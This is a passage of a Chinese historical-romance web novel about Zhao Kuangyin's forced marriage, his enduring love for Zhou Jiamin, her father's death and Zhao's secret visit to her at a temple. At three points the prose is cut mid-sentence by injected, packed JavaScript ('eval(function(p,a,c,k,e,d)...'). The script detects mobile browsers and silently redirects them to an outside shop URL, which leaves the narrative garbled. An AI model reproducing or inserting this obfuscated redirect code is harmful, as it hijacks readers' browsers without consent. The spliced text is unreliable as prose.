周宗见女儿双目通红一脸病容蜷缩在床上,夫人还要这般迫她,喝斥道:“女儿半条命都没了,你还只知道数落她,要领罪你自己去没人拦着!”说罢又转头把女儿抱在怀里柔声安慰:“嘉敏别怕,你还有爹爹,不管谁要降罪,爹担着!我可怜的女儿,爹知道你心里过不去,可也不能想着寻短啊,你姐姐尸骨未寒,你又如此,教爹爹怎么受得住?” 嘉敏强撑了这么久,终于忍不住在父亲怀里嚎啕大哭,哭的肝肠寸断心神俱伤。 周夫人也并非不疼女儿,见此情形,与丈夫一合计,到了皇后面前,只说周宗疾患日重,恐时日无多,望皇后体恤,准嘉敏归家在父亲跟前尽孝,以全这一世父女之情。 钟皇后原本想以嘉敏昨夜的行径问罪,可周宗乃是两朝元老,劳苦功高,令她不得不有所顾及,沉吟半晌答应了周家的请求。 困在宫中一年,终于有机会脱出牢笼,周夫人把病弱的女儿抱在怀里细细叮嘱:“嘉敏,这段时间你且在家中住着,好好养一养身子。宫中若是派人来接你,爹娘会打发走的,你放心,啊!” 如今时过境迁,周夫人要的不过是嘉敏嫁入宫中,至于她肯不肯侍奉李煜倒是无关紧要,毕竟女儿尚且年少,此等事情太过伤身,她也未必不心疼。 嘉敏昏昏沉沉的也不答话,只是觉得心间郁结的一口气慢慢散开,呼吸也顺畅了许多。 “若是能再见到赵哥哥就好了!”她默默想着,闭上眼睡去。 彼时三千里外的汴京,赵匡胤已在迎亲。 周围锣鼓喧天,他脸上半点喜色也没有,按部就班的完成婚仪,倒是没出什么岔子。 因其地位显赫,连皇帝都亲自登门祝贺,百官自然无人不至,婚宴直从中午摆到晚上,每个人都要跟赵将军喝一杯。 赵匡胤原本酒量就好,今日更是来者不拒,直喝了一下午。石守信等人上前想替他挡酒,他也不加理会,依旧亲自下场喝。 入夜回到婚房已经酩酊大醉,被搀扶着坐到床榻上,待人走后,过了许久才想起要揭开新娘的盖头。 眼见英武俊秀的丈夫用朦胧的醉眼看她,王鹤儿羞涩地垂下头,不多时却听丈夫在耳边低唤了一声:“嘉敏——”而后就倒在床上睡着了。 王鹤儿心下一凉,暗抹一把眼泪,开始帮丈夫脱去喜服,令他好好的睡上一觉。 她原也预料到了洞房花烛之夜的清冷,可已嫁人为妇,自当体贴丈夫,只盼日后能夫妻同心,成就一段美满姻缘。是以勉强打起精神,只小憩一会儿,第二天一大早起床给丈夫煮醒酒汤。 宿醉醒来,赵匡胤只觉头痛欲裂,再看房间里一片大红色,想到昨夜已娶了新妇,可似乎…… 他醉倒了,连新娘长什么样都不知道。再则这枕边人怕是皇上送到他身边的一把利剑,稍有不慎,就是灭族之祸。 王鹤儿端着醒酒汤进来的时候,若非那一声“相公”,他差点把对方当作陌生人赶出去。 “妾煮了醒酒汤,已放的温热,相公先喝了吧!”王鹤儿上前温柔浅笑殷勤侍奉。 “我不喝这个!”赵匡胤脱口而出,低头穿靴子,思虑片刻又觉如此这般实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024015|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不妥,遂道:“多谢!”拿过那碗汤一饮而尽,而后也没有去看她的脸,自顾自换衣服,“皇上欲命我领兵出征西蜀,我今日就要返回军中商讨大计,也不知几天能回来一趟,辛苦你在家中侍奉母亲,照顾弟弟。” 王鹤儿吃惊不已,颤声道:“照规矩,新妇此刻该去公婆面前敬茶才是。” “哦,我赵家出身行伍,历来是军令高过一切,这些繁文缛节不必介怀,母亲会知道的。”赵匡胤淡淡道:“母亲为人严厉,要委屈你多担待些。”说罢转身出门去了。 九个兄弟见他这么早返回军营皆有些诧异,石守信道:“大哥,你新婚,不是应该陪着嫂子敬茶么?” 赵匡胤没接他的话,只道:“出征事大,总要多方筹划,在军营不提家事,莫要多言。” 众兄弟面面相觑,却谁也不敢再提起新嫂子的事。 而军中将士也不觉得如何意外,毕竟赵匡胤是出了名的因公废私。 当年战淮南,攻下涡口城,父亲赵弘殷前来探望,因至黑夜,城门已关,不得再打开。父子俩一个在城外,一个在城头枯等一夜,天亮时才开门相迎。 赵弘殷本就害了风寒,被儿子拒在城外冻了一夜之后,病情迅速恶化,没多久便撒手人寰。 此事赵匡胤一直引以为恨,可为将者毕竟不能因私事而坏了军法,不孝的名声也只好担着了。 故而,若他因公事而抛下新婚妻子,也不是什么值得好奇之事。 唯独王审琦料想堂妹处境不妙,暗暗皱眉,只希望过段时间赵匡胤能对其有所改观。 赵匡胤入了军营便开始筹划,“自来巴蜀之地表里河山,易守难攻,皇上此番大约也只是命我等探一探虚实,以图将来之大计。是以此番我等无需大举进攻,虚张声势即可……” 金陵这边,嘉敏在家中住了几日,身子早已养好,还得了母亲的允许可以出门去采桑游玩。 因育蚕缫丝是很辛苦的活计,家中自有仆婢可以做,嘉敏回来以后把竹篮里的新鲜桑叶交到阮娘手上,就去书斋寻父亲。 刚走到门外就听见周夫人的声音:“你还说那赵匡胤是重情之人,还不是刚回去一年就成了亲?我看嘉敏没嫁他,也不是什么错事?” “那是北周皇帝赐的婚,他还不是跟嘉敏一样迫不得已?”周宗说着咳嗽了两声,不经意瞧见女儿站在门外,脸色瞬间大变:“嘉敏……你……何时回来的?” 周夫人也瞬间变了脸色,嘉敏强颜欢笑进门问道:“是赵哥哥成亲了么?” “那个……”周宗想找借口圆过去,可嘉敏已经走到他面前问道:“爹,我可不可以写一封恭贺他的书信,你帮我派人送去汴京给他,好不好?” 周宗虽觉此事不妥,可他素来对女儿百依百顺,此刻更加不会阻拦,微微颔首。 嘉敏大喜:“谢谢爹,我这就回房写信!” 说罢满脸堆笑地走出来,没走几步腿就软了,幸好秋芙在旁边扶着才不曾跌倒。 水塘里碧色荷叶刚冒出头,颇有些弱不禁风,瞧了片刻嘉敏喃喃道:“秋芙,你说赵哥哥的妻子是不是很温柔貌美,他此刻定然十分欢喜是不是?” 34.如星如月 回房后秋芙慌忙把纸笔放到她面前,由着她想写什么便写什么。 嘉敏的手一直颤抖,总也写不好,写废了近百张纸,有些是字太难看,有些是眼泪把墨迹洇开了。直写了大半天,才勉强凑够百余字的书信: “闻兄大喜,妹却茫然不知,未曾以厚礼相贺,只此一封书信聊表心意。望兄日后与所娶之佳人恩爱美满白头偕老,此乃妹真心所盼,若日后闻得佳音,妹在金陵亦自安心。妹一切安好,勿念!” 书信快马送到汴京也要整整半月,期间赵匡胤鲜少归家,回去往往到了大半夜,且独居厢房,新婚妻子竟是连他的面也见不到。 这天听家仆说有自金陵来的书信,料想定是嘉敏所写,急匆匆赶回去,正与王鹤儿打了个照面。 “金陵来的信,我正要亲自给夫君送过去。”王鹤儿心明如镜,也没露出半点嫉妒之色,只是将信递过去。 赵匡胤也不避着她,看罢眉头紧皱,回书房提笔写下几个字,当作回信命人送去金陵周家,虽只是寥寥数语,却把话逗说清楚了:“成婚之事非我所愿,无须伤怀。旧约未曾忘,此生不相负,他日必返金陵迎妹北归,勿忧!” 虽已烧了婚书,可他心中早将嘉敏当作妻子,哪里会轻易放手?更何况嘉敏娇弱,那李煜也不知究竟待她如何,又怎能放得下心? 走出来见王鹤儿一直在门外等着,神色哀戚,与他目光相触的瞬间却勉强挤出一丝笑容,想来她也知道这金陵的信是谁所书,干脆和盘托出:“王小姐,你是审琦的堂妹,我和嘉敏的事他大约都告诉你了。” 王鹤儿轻颔首:“兄长是说起过,不过夫君放心,妾不会因此而心生嫉恨,也不会干涉你们之间的来往。只是夫君多日未归家,妾想多瞧你一会儿罢了!” 赵匡胤诧异,柔声道:“审琦说你性子温婉柔顺果然不假,不过有些话我还是与你说清楚的好。你我的婚事乃是圣上亲赐,并非出于自愿,照理说既已成婚,我当待你如妻子,可我心中对嘉敏难以忘情,这辈子也不打算忘……我不求你宽恕,若小姐无法忍受,可提出和离,将我这有名无实的夫郎休弃,欠小姐的,只要赵某给的起自会补偿,圣上面前天塌下来我一个人担着就是了!” 王鹤儿听他对自己的称呼如此疏离,心下酸涩不已,却笑道:“夫君有一句话说的不对,我是倾心于夫君,嫁你为妻乃是出于自愿。” 乍闻此言,赵匡胤惊诧不已,“可你我并不相识,何来倾心?” “只是夫君不认得妾罢了!”王鹤儿虽性子柔顺,却是个颇有主见的女子,幽幽道:“夫君大约不知,汴京城里想嫁给赵将军为妻的闺秀大有人在,原本妾只当夫君是个军中莽汉,并不放在心上,甚至颇为不屑。直到去年清明,妾带红菱出门踏青,碰见夫君在汴河边沽酒,还与一位仙风道骨的道爷说笑。” 大约是思来有趣,王鹤儿不禁微笑:“他讥讽你是单身汉,连个媳妇都讨不到真是丢脸丢到京城来了,你也毫不客气问候他怎么还没有归天,还说老而不死是为贼,故以‘老贼’称之,许诺若他哪一日真的归天了,不妨提前告诉你会埋在哪儿,以后清明节有空还可带壶酒去祭拜一下,以免他在九泉之下连喝口酒都得跟阎王小鬼抢。” “我当时听了觉得粗鄙,可奇怪的是你们二人都不介怀,反倒相对哈哈大笑。我这才认真瞧过去,见夫君你相貌俊秀笑声爽朗,与那道爷勾肩搭背的甚是亲切。我素日所见皆是些吟风弄月的才子,一直以为文雅之人才是良配,可偏偏并无一人令我倾心,直到看见如此洒脱不羁的夫君,豁达有趣神采飞扬,只短短片刻,我竟暗生爱慕之情……” 此事赵匡胤倒记的清楚,那老道自然就是陈抟老祖,不过对王鹤儿全无印象,大约是不曾注意到当时汴河边上有这么一个人。况他素来鲜少与女子打交道,身边只一个天真无邪心思单纯的嘉敏,一味娇宠着就是了,如今面对这样一个会偷偷藏着心思的闺秀难免局促,一时说不出话来。 见其反应冷淡,王鹤儿面上一片羞赧,低声道:“后来母亲知道了我的心思,偷偷进宫去求贵妃娘娘,这才有了圣上的赐婚。” “……”赵匡胤更加无话可说,这亲他本就不想娶,之前还有一个圣意难违的借口在这里,不想竟是王家人自行谋划,圣上顺水推舟,想了片刻问道:“王小姐,我只问你,你母亲去宫里说亲之时,你是否知道我有心上人?” 王鹤儿面有愧色,低头小声道:“我确实早有耳闻……” 毕竟抛开军中威望不提,赵匡胤年少时侠义之名就已经传来,再加上王审琦偶尔透露的只言片语,不难知晓他有心上人。 赵匡胤面色一寒冷笑道:“如此算不算是横刀夺爱?” “我拦不住母亲……”王鹤儿小声辩解,“此事也非我能做主!” “于你而言此事的确情有可原,可于我全然是无妄之灾!”赵匡胤毫不客气地道:“我和嘉敏之间已经有千难万难,那周家早已签了婚书于我,明明是我的爱妻却被人夺去,我只能把聘礼当作嫁妆送她出嫁,如此心伤何人可与我悲喜相通?我承认如若圣上想要赐婚,不是你也会是别人,我只怕都难以推脱。可若王家不曾去宫中提亲,事情大概也不会发展的这么快!而今嘉敏得知此事伤心不已,大约是以为我已弃她,你知道吗?我赵匡胤命都可以不要,可我见不得嘉敏伤心难过,早晚有一天我会把她从李煜身边夺回来的。至于你我,大约是有缘无份了,若我做了什么对不住你的事情,还请多担待!”言罢拂袖而去,并不在乎自己辜负了佳人的一番深情。 见他决绝如斯,侍婢红菱心生不忍,皱眉道:“小姐,你怎么这么傻?夫人明明叮嘱过王家去宫中提亲之事不能教姑爷知道,现在他对你心生怨怼,你以后可怎么办?” 王鹤儿苦笑,“我原是爱慕他洒脱磊落的个性,只盼自己能和他一样光风霁月心底无尘,这样大约就配和他站在一起了。就算他因此厌弃我,我也要和他做一样的人,不能倾心相爱,至少坦荡光明,才不会在他面前自惭形秽。” 红菱暗自摇头,不再劝解,想扶她回屋。 一转身,婆婆杜氏和妯娌尹氏并几个丫鬟皆用异样的目光看着她,大约是把该听的不该听的全都听去了。 赵匡胤出了门,两个兄弟迎上来,却见他面色惨白,用手扶着墙才勉强站稳。 顾念着王审琦的面子,石守信道:“大哥,嫂子的家人虽然隐瞒了提亲之事,可你对嫂子说的那番话未免也太绝情了些!” “你们都听到了!”赵匡胤调匀气息缓缓道:“此事虽然出乎意料,可我并不是想让她难堪,不过是顺势点拨她早些做打算罢了,于她而言,和离再嫁当是不错的选择。” 当世民风开放,女子和离再嫁并不会遭人诟病,高门大户家的千金就更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033084|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加不必有此顾虑,是以赵匡胤并没有虚与委蛇,而是直接告知。 再说王鹤儿背后是那个已然在猜忌他的皇帝,稍有不慎,整个赵家都会遭遇灭顶之灾,由不得他不忌惮。 然则毕竟是自己堂妹,王审琦未免有些不满,冷冷道:“大哥这是瞧不起鹤儿么?一个女子向你吐露心迹,你觉得她不知廉耻?” 赵匡胤摇头:“你这堂妹的性格倒是令我有几分佩服,光明正大,不藏着掖着,若非阴差阳错做了夫妻,定能当做朋友来处。我不会瞧她不起,反是多了几分敬重。” 王审琦听罢心下稍安,毕竟这桩婚事乃是重重利益纠葛,王家也是瞧上了赵匡胤的前途无量,才凭着和贵妃的姻亲关系近水楼台先得月,唯一被胁迫的人只有赵匡胤罢了,他如何还能嗔怪对方薄待堂妹? 千里之外,金陵周府。 周宗又将喝下去的药尽数吐了出来,夫人慌张不已,拍着他的背帮他缓解痛苦。 周宗大口喘气道:“我已是强弩之末,恐大限将至,有件重要的事要交代,烦请夫人将那箱子底下压着的文书取出来。” 周夫人照做,又在示意下将其打开,一看却变了脸色,喃喃道:“老爷如今还留着这个?” 那正是当年与赵匡胤签下的婚书,对方虽然在嘉敏成婚之日已经亲手烧掉,可周家的这一份还好好保留着。 周宗叹息道:“夫人,你当年和娥皇联手毁了嘉敏的姻缘,可曾想过有一天还要求着那赵公子放我们嘉敏一条生路?” 周夫人摇头泣道:“看到嘉敏如今的样子,我也有些后悔,可又哪里有补救的办法?” 周宗临终提及此事自然不是为了苛责夫人,颤巍巍地道:“那赵公子如今乃是北周第一重臣,大权在握。而据我南唐探子来报,那北周的皇帝柴荣突发重疾,乃是不治之症,倘若柴荣一死,年仅八岁的太子登位,主少国疑,这至尊之位将来落入谁的手中怕是不难猜测!” 周夫人正色道:“老爷的意思是那赵公子将来会位登九重,在北朝做皇帝?” 周宗点头:“怕不止如此,匡胤文韬武略,有经纬天地之大才,一旦由他统治北朝,这天下纷乱的政局也离结束不远了。我南唐偏安一隅,靠着祖宗的荫蔽才有今日。可将来的国主,也就是咱们两个女儿的女婿,虽是个旷古绝今的大才子,于朝政却全然不通,更别提领兵作战。我只害怕,不久的将来,北朝军队便会攻下江南,到时候嘉敏多半会被当作俘虏带去汴京,下场如何可想而知。是以我才一直留着这份婚书,若嘉敏当真被掳去了汴京,夫人便将这婚书递给那赵公子,或许他看在旧时情谊的份上,能给嘉敏以庇护。” 周夫人吓的直打哆嗦,“老爷,你不要吓我,本来我以为娥皇红颜薄命,难道咱们的嘉敏会比她姐姐更命苦不成?” 周宗老泪纵横:“娥皇的一生虽然短暂,可她少时享尽父母宠爱,婚后也琴瑟和谐,并未遭过多少灾厄,可我可怜的嘉敏,有谁能告诉我她今后的人生会如何?” 夫妻俩相对而泣,弥留之际,周宗又叮嘱道:“夫人,务必记住我的话,匡胤是个重情重义人,莫再让嘉敏将来无依无靠!”说罢咽下了最后一口气。 嘉敏刚好从宫中赶回来,见父亲已经僵直在床上,大声哭喊,“爹——” 此刻在北朝军营中小憩的赵匡胤突然惊醒,失神大喊:“嘉敏——” 35.夜夜流光 五日后赵匡胤领命去前线探查军情,以便早日定下伐蜀大计,临行前回家向母亲告别,顺便留几个兄弟吃顿便饭。 王鹤儿笑道:“我这就去厨房吩咐,多备些酒菜。” 赵匡胤自知待她冷淡,却能得其殷勤照顾,禁不住道:“不必劳烦,这些事情交给下人就可以了。” 王鹤儿满脸通红,低声道:“并不劳烦!”说罢自去了厨房。 大厅里九位兄弟坐一桌吃吃喝喝好不热闹,席间聊起了大哥的八卦:“我怎么瞧着大哥和嫂子生疏的狠?” 石守信低斥:“刚成婚不久自然生疏,有什么大惊小怪的?” 刘廷让点头道:“就是,嫂子如此温柔贤惠,虽说模样比不得嘉敏妹妹娇美,可也是大美人儿一个,时间久了,大哥自然知道嫂子的好。” 杨小九不合时宜地说了句实话:“我看不尽然,大哥现在住在军营的时间比住在家里多五倍不止,只怕心里还是想着嘉敏妹妹多些。” 说罢听得王审琦冷哼一声,慌忙闭嘴。 石守信瞧着尴尬,打圆场道:“听说周司徒病重,大哥这几日寝食难安,一直忧心倘若周大人驾鹤西去,嘉敏妹妹便从此失了依仗,他着实放心不下……” 话音刚落,王鹤儿端着一盘菜上来,众兄弟哑了片刻,小声叫嫂子。 王鹤儿勉力招呼,笑道:“刚才听到兄弟们在说什么‘周大人’啊‘嘉敏妹妹’的,这名字好生熟悉,似乎听你大哥提起过,是不是都是你大哥认识的人?” 众人摇头直如拨浪鼓,谁也不肯说实话。 王鹤儿笑道:“弟兄们不愿意同我讲的话,我待会儿久就问一问你大哥,看看这嘉敏妹妹是什么重要的人物,能否让我们认识。” “鹤儿,不可……”王审琦大惊,“别在大哥面前提嘉敏妹妹的名字!” 石守信也劝解道:“嫂子,你这般贤惠,定不忍惹大哥伤心,待会儿真的不要提。” 其实几人心知肚明,王鹤儿并不是不知嘉敏是谁,今日怕是心气不平,想要借机发泄。 果听王鹤儿冷笑道:“不提可以,总得有人告诉我真话,这嘉敏妹妹若是你大哥养的外室,只肖他说一声,我没有不允其进门的道理,怎就这般提不得了?” 众人一时无语,片刻杨小九站起来道:“我受不了了!那周大人是嘉敏妹妹的爹,嘉敏妹妹是大哥心尖上的人,当年他们曾订过亲,可后来嘉敏妹妹却被南唐的李煜抢去当了太子妃,害得他们就此分离,两地相思。都过去了这么久,大哥却从来没有忘记过嘉敏妹妹,只是皇命难违,才娶了嫂子你……” 石守信喝道:“小九,住嘴!” 杨小九却不停,竟哭出来道:“我们都不说,难道由着嫂子去问大哥么?大哥心里的伤有多重,兄弟们一个个全装作不知道么?那么好的大哥,那么好的嘉敏妹妹,老天真是不长眼,怎么就把他们拆散了呢?”说罢泪落不止。 一时之间座下众人皆失语,纷纷低垂下头,也无人出言去安慰王鹤儿。 赵匡胤走进来,弟兄们那一番话他门外听了个正着,面无表情训斥小九:“一个大男人,哭哭啼啼的成何体统?” 杨小九立马擦干眼泪对王鹤儿道:“兄弟方才多有得罪,望嫂嫂勿怪!” 王鹤儿却是满脸堆笑看向赵匡胤道:“是不是兄弟们不与我说这些,你还不打算出来?” 众人这才明了,原来她不过是想借此机会将赵匡胤激出来,好与他话别:“妾只是想告诉夫君,家中的母亲和弟弟一家,妾自会侍奉照顾,勿要忧心。至于嘉敏妹妹,若有朝一日你真将她接来汴京,这赵夫人的位置妾自当交出来,好成全你二人之间的深情。” 不想她竟如此豁达,赵匡胤一时想不出该说的话,只点头道:“多谢!”而后转头告诉兄弟们:“早些出发吧!” 他此去时日久长,因蜀国地势险要,北据秦岭,南锁剑阁,两线探查,直花了大半年功夫,隆冬时节尚未归家。 家中妻子恐赵匡胤寒冷,早派人送了冬衣来。石守信帮他拿着,两人正要回大帐,路上却见一个年老的士兵因为没有冬衣而瑟瑟发抖,随手便将夫人做的冬衣披在老兵身上,还吩咐人端来热汤给守卫御寒。 待回到帐中,石守信禁不住抱怨道:“那可是嫂子给你缝的,你还没穿就送给别人,也太辜负嫂子的心意了!” 赵匡胤冷冷道:“之前嘉敏给我缝制的冬衣,我也没穿就送给你了。怎么,只有兄弟几个能穿大哥的衣裳,别人就不行吗?” 石守信点头:“那倒是!刚穿了半日,大哥就花大价钱在城里买了件新的送我。” 杨小九问道:“那嘉敏妹妹的那件呢?” 石守信拍一下他的头故意大声道:“这还 用问,要回去了呗!” 众兄弟纷纷窃笑,被赵匡胤一个冷眼镇住,另一边王审琦也冷哼一声重重把汤碗放在桌上跑出去透气。 “老王——老王——”石守信追出去,都是自家兄弟,少不得要两头哄,也辛苦他夹在中间调和。 赵匡胤不以为意,若兄弟之间真要因此而生嫌隙,也只好由着它去。 刚回帐中没多久,就有士兵送来一个包袱,说是一位道爷留下的,人已经走了。 估摸着是陈抟老祖,赵匡胤打开一看,乃是一件紫衣狐裘,雍容华贵,造价不菲,看针法乃是出自嘉敏之手。 只是瞧了一眼,他就红了眼眶,抬手摸着那狐裘,压抑着哭声泪落如雨。 这般驻守大半年,把剑阁附近的情况摸清楚,开春时北归。半道上却接到圣旨,因江南大旱,人心浮动,柴荣认为是天赐良机,命赵匡胤赶去扬州,会合北周的军队攻下金陵。 这诏令下的很是突然,再加上江南之地依长江天险,非朝夕可破。然则皇命难违,众人还是日夜兼程赶去了扬州,此时南唐镇守扬州的依旧是嘉敏之兄周宏。 而赵匡胤到了此刻才得知周宗已去世大半年的消息,登时心乱如麻,也理不出头绪站起身便想往外走,被兄弟们拦住。 “大哥,你做什么去?” “我要去看嘉敏啊!她爹爹不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050100|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,如今谁还能护着她,我现在就要去金陵城看她!”说着又要走出去,被弟兄们抱住了胳膊腿。 “大哥,你现在是赫赫有名的北周大将军,走出这道门有几个人不认识你,你进得了金陵城么?”石守信劝道:“再说周大人已经去世大半年,嘉敏妹妹该伤心早伤心过了,你现在过去于事何补?别忘了我们还有皇命在身,总该谋定而后动!” 王审琦也站出来阻拦:“大哥想去金陵瞧嘉敏妹妹,我等定会鼎力相助,不过现在真的不是时候,且再等等,至少先打听到嘉敏妹妹此刻身在何处。” 石守信帮腔道:“想知道嘉敏妹妹的下落也不是难事,明天问他哥哥就行!” 赵匡胤听罢觉得有理,这才稳住,叹息着以手扶额彻夜难眠。 翌日双方军队在六合遭遇,赵匡胤朗声道:“周将军,别来无恙!” 周宏听着颇为刺耳,冷冷道:“我父亲去世大半年了,不算别来无恙吧!倒是诸位,瞧起来像是来趁火打劫的。” “实在是皇命难违!”赵匡胤皱眉道:“周将军既然重孝在身,赵某也不想贸然开战,不如这样,今日就你我二人单打独斗,明日事明日再议!” 周宏年纪比他还小一些,又颇为相熟,立时领会到单打独斗多半是个幌子,对方说不定是想从自己口中问出些嘉敏的近况,也就答应了。 两人都使长枪策马而至,甫一交上手,赵匡胤果然没出什么力气,斗了几个回合压低声音问道:“嘉敏如何了?” 周宏爽快应答:“每天以泪洗面,身子不大好,命只剩下半条了。” 赵匡胤皱眉,挥枪挡开他,片刻又缠斗到一起。 “还有件事你大概不知道,我那妹子不愿意侍奉太子。有一天晚上太子去她宫中过夜,她偷偷跑掉了,跑到井边想要寻短见,你说是不是因为她心里一直装着你才会如此?”周宏索性把要紧的全都说出来,想看看在对方心里嘉敏还有多少分量。 赵匡胤果然心绪激荡,差点被他打落马下,好在他武艺高强,对敌经验又很丰富,很快稳住身形,厉喝道:“既然如此,你跑来送死做什么,现在嘉敏除了你还有谁可依仗?” 周宏正色道:“我乃南唐将领,为国捐躯死得其所死而无悔,你有能耐取我性命么?” 赵匡胤看傻子似的看了他一眼,“告诉我嘉敏此刻在何处,是周家还是皇宫?” 周宏也不加隐瞒,“都不在!她屡次不肯侍奉太子,惹恼了皇后,再加上父亲故去,皇后干脆命她出家为女冠,在道观中苦修三年,好磨磨她的心性。” 不知为何,赵匡胤有一种直觉,此事的背后怕是有陈抟老祖在推波助澜,猜测道:“可是福济观?” 周宏诧异,“你知道?” 赵匡胤当下不再犹疑,一枪·刺穿他大腿。 周宏登时落马倒地惨叫,亲卫却无一人敢上前搀扶。 赵匡胤收起银枪朗声道:“今日点到为止,周将军腿上的伤没三两个月也养不好,明天换个人来吧!” 只不过明日他要去见嘉敏! 36.满堂花醉 四月十四为吕仙(吕洞宾)诞,俗称“神仙生日”。 仙诞前一天,江南的百姓会剪掉千年蒀(万年青)的旧叶子丢到大门口令人踩踏,听说这样新的叶子容易生出来。此物在金陵一带也很常见,还有人会拿它问卜吉凶。又或者到庙里买新苗来种,希望能交好运。 赵匡胤清晨来到福济观,脚下踩了一堆千年蒀的叶子。 陈抟老祖好像早料到他会来,及时开门将其迎进来,嘴里抱怨道:“我的赵公子,下次你来的时候好歹派人送个信,道爷我一夜没睡给你守着门,你说辛苦不辛苦?” 面对无处不在的道爷,赵匡胤心存感激:“多谢!” 他今日只带了石守信一起来,目标不大,倒是极容易藏匿。 “今日是神仙诞辰,道观里待会儿就会来很多人,混迹人群倒也不容易被发现。不过周二小姐住在云水斋,那里僻静,院门紧锁,平日不让人靠近。”陈抟老祖捻须,眼睛骨碌碌转着,“我现在就可以带你去见她,不过若你们碰了面一味抱头痛哭该如何是好?” 石守信点头帮腔:“这倒是极有可能之事!” 赵匡胤这辈子的眼泪都因嘉敏快要流尽,如今也无多少把握看见她以后不会哭,思虑道:“且先让我偷偷看她几眼,我断不会在嘉敏面前哭。” 云水斋在福济观后院颇为偏僻之地,嘉敏此次名义上是修行,实则被皇后责罚幽禁,故而日子过的很清苦,也就比冷宫好一些。 好在此处没有那么多双眼睛盯着她,也就阮娘和秋芙二人常伴在身侧,赵匡胤三个翻墙进去也没费什么功夫。 碰巧嘉敏正独自坐在院中,赵匡胤差点被她迎头撞见,慌忙闪身躲到了墙角。 过了片刻探出头,瞧见嘉敏低眉敛神在一丛花圃边捏泥人,手上沾满泥巴也不觉得脏。 赵匡胤低眉沉思,这好像是她幼时在姑母田庄里学来的游戏。那时候天刚下过雨,两个人踩着泥巴跑到田埂边捏泥人玩。 他捏了一个小嘉敏,模样自是不像,嘉敏捏了一个他,更是丑的奇形怪状。还把脸和衣裳也弄脏了,回去好一番梳洗。 自打回到江南,她养的那些山野习性都被周夫人教导着改掉了,而今在道观度日,无人管束,就放任自在了些。 秋芙见惯了她这番模样,倒也不以为奇,从厨房走出来道:“小姐,该吃朝饭了。” “先放着吧!”嘉敏好像不大想动,依旧捏着泥人。 秋芙皱眉道:“你都捏了几百个赵公子了,都说不像,捏了也白捏,别耽搁了吃饭。” 嘉敏怕她啰嗦,这才懒懒起身,先去水井边把手洗干净,一边洗一边道:“爹爹过世之前嘱咐我亡故之人不会再回来,要少想他一些,我不能想爹爹,就只能想赵哥哥了。不过他如今已是别人的夫婿,这般总想着他也着实不大好,可我忍不住!” 秋芙恐她伤感,慌忙道:“想着也无妨,赵公子信上可说他是迫于无奈,终有一日还是会来汴京接你离开的。” “宫里留着我做个摆设,给仲愚当后娘,给将来的国主当皇后,好稳定后宫,我哪里走得了?”嘉敏声音虽弱,却清晰可闻。 乍一转身,赵匡胤这才将她的模样瞧清楚,长开了些,也憔悴了些,而且益发纤弱,好在眼眸依旧清灵,还能瞧出几分旧日机敏活泼的模样。 想起她如今不过一十四岁,已经受偌多磨难,赵匡胤心痛不已,抬手按住胸口。 秋芙不欲再提伤心事,笑嘻嘻地道:“今日吕仙诞,娘准备了五色糕,你快尝尝味道怎么样。” 嘉敏在餐桌旁坐下,看着那盘花色可爱的糕点怔了半晌,喃喃道:“倘若求神仙有用的话,可不可以求他把赵哥哥变出来给我?” “小姐,你又说傻话了!”秋芙无奈道。 赵匡胤却是乍一抬头,想了片刻转身离开。 石守信不解问道:“不是要见嘉敏妹妹么,怎么反倒还走了?” “嘉敏过的不快活,我要先想想怎么哄她开心才是。”赵匡胤低眉,琢磨着四处找一些嘉敏喜欢的东西。 福济观中的祭祀已经开始,由陈抟老祖亲自设坛做法事,香客云集,他这样跑出来也不打眼。 有花农担着鲜花售卖,见他像是个公子哥的模样,上前道:“公子,要买些‘神仙花’么?今日拿鲜花供奉,吕仙高兴了,就会有求必应,要不要试试?” 赵匡胤掂起他那一担花,见种类不少,花色也鲜艳,干脆全都买下来。 石守信忍不住嫌弃道:“我见江南的公子哥拿鲜花送姑娘都是一捧为妙,再摇着个折扇吟几句诗,姑娘们就春心萌动欢欣不已,没见过挑着一担花去的。” 赵匡胤把担子放在肩上问道:“我看起来可笑么?” “可笑!”石守信点头不止,想着若是自己将来也扮成这一副模样去追姑娘,不由一阵恶寒。 不想赵匡胤竟道:“可笑就好!”说罢掉头朝云水斋而去。 石守信在原地怔了片刻,慌忙跟上去,到地方了抬手帮忙敲门。 片刻功夫秋芙就从里面把门打开,看见二人吃惊不已,回头唤道:“小……小姐……” 赵匡胤挑着花担进门,一边道:“嘉敏我回来了!” 那情形就像一个乡下农夫干完农活归家,招呼自己的妻子一样。 